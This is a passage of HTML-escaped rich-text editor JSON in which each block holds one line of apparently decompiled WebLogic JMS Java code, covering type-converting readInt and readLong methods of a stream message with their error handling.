4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ib3B-1677058245416&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jc5I-1677058245415&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gfu6-1677058245418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SZyl-1677058245417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uksw-1677058245420&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WLt4-1677058245419&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zCxk-1677058245422&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYl3-1677058245421&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qmv6-1677058245424&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gwa2-1677058245423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var3 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mnZu-1677058245426&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bxj0-1677058245425&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;61LB-1677058245428&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t2XY-1677058245427&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var3 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kGj-1677058245430&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4L9W-1677058245429&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EZHD-1677058245432&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Ly5-1677058245431&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eiFo-1677058245435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zr4G-1677058245434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(6)) + var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a782-1677058245437&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;goWd-1677058245436&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N42g-1677058245439&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JGCY-1677058245438&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kVmx-1677058245441&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEnS-1677058245440&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 8:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i9Xy-1677058245443&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2w3X-1677058245442&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readShort();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fYAx-1677058245445&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fxEc-1677058245444&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NzxP-1677058245464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E0Kp-1677058245446&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C9L5-1677058245466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3HZ0-1677058245465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var2 = this.bis.pos();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ickb-1677058245468&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mX3e-1677058245467&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmnC-1677058245470&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rXYy-1677058245469&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GcEd-1677058245472&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DhHF-1677058245471&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return Integer.parseInt(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j2HC-1677058245474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GctC-1677058245473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (NumberFormatException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fvWQ-1677058245481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsSR-1677058245475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.gotoPos(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;df4P-1677058245483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KGSh-1677058245482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ly6k-1677058245485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R05U-1677058245484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;93NM-1677058245487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bppi-1677058245486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;18BW-1677058245489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cojb-1677058245488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PD5r-1677058245491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yITg-1677058245490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iZck-1677058245493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsie-1677058245492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(70), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e9su-1677058245495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J4GU-1677058245494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jrCZ-1677058245497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0hsf-1677058245496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(70), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yzZu-1677058245499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fF1s-1677058245498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y8Cq-1677058245501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1yqg-1677058245500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;budy-1677058245503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yoe6-1677058245502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nyE3-1677058245505&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BOxT-1677058245504&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public long readLong() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hz5S-1677058245507&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;izIW-1677058245506&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GOkp-1677058245509&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hSmx-1677058245508&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AvmX-1677058245511&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jn5M-1677058245510&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X3Ox-1677058245513&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yEBE-1677058245512&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E0cf-1677058245515&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GQev-1677058245514&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4ZY-1677058245517&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t5WV-1677058245516&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return (long)this.bis.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U5iW-1677058245519&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YIVd-1677058245518&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uNnG-1677058245521&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6olY-1677058245520&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSnc-1677058245523&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lSMQ-1677058245522&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ICGh-1677058245525&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qn7e-1677058245524&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vTcc-1677058245527&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tfLA-1677058245526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PRCn-1677058245529&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;achO-1677058245528&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var3 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jS1p-1677058245531&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M7XS-1677058245530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z7tQ-1677058245533&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AOBy-1677058245532&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var3 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TSYT-1677058245535&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i9WL-1677058245534&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cypb-1677058245537&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jxZx-1677058245536&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wnwg-1677058245539&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ddfz-1677058245538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(7)) + var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cwpf-1677058245542&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DnKy-1677058245540&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMno-1677058245544&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JSg8-1677058245543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return (long)this.bis.readInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3K5s-1677058245546&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOLq-1677058245545&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AHZP-1677058245548&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qRGY-1677058245547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readLong();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wP7P-1677058245550&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xuJW-1677058245549&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 8:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gbuK-1677058245552&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lpOD-1677058245551&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return (long)this.bis.readShort();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M7sG-1677058245554&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nU15-1677058245553&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;boO0-1677058245556&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v12x-1677058245555&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hcp1-1677058245558&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T9N7-1677058245557&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var2 = this.bis.pos();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qdkI-1677058245560&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PUNX-1677058245559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nwRn-1677058245562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hP0b-1677058245561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rW62-1677058245564&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e2T6-1677058245563&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return Long.parseLong(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E9fP-1677058245566&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z65s-1677058245565&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (NumberFormatException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KlP8-1677058245568&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kq3i-1677058245567&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.gotoPos(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p1Ei-1677058245570&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZLx-1677058245569&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u560-1677058245577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aJxl-1677058245571&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SUiR-1677058245579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hamu-1677058245578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PHXe-1677058245581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WUnx-1677058245580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tCHn-1677058245583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zwlE-1677058245582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) 